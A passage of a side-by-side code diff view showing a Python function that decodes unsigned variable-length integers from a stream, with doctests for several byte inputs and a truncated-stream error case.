3810 The passed argument is anything that has a ``.read(N)`` method.
3730
3811
3731 >>> try:
3812 >>> try:
3732 ... from StringIO import StringIO as BytesIO
3813 ... from StringIO import StringIO as BytesIO
3733 ... except ImportError:
3814 ... except ImportError:
3734 ... from io import BytesIO
3815 ... from io import BytesIO
3735 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3816 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3736 0
3817 0
3737 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3818 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3738 1
3819 1
3739 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3820 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3740 127
3821 127
3741 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3822 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3742 1337
3823 1337
3743 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3824 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3744 65536
3825 65536
3745 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3826 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3746 Traceback (most recent call last):
3827 Traceback (most recent call last):
3747 ...
3828 ...
3748 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3829 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3749 """
3830 """
3750 result = 0
3831 result = 0
3751 shift = 0
3832 shift = 0
3752 while True:
3833 while True:
3753 byte = ord(readexactly(fh, 1))
3834 byte = ord(readexactly(fh, 1))
3754 result |= ((byte & 0x7f) << shift)
3835 result |= ((byte & 0x7f) << shift)
3755 if not (byte & 0x80):
3836 if not (byte & 0x80):
3756 return result
3837 return result
3757 shift += 7
3838 shift += 7
General Comments 0
You need to be logged in to leave comments. Login now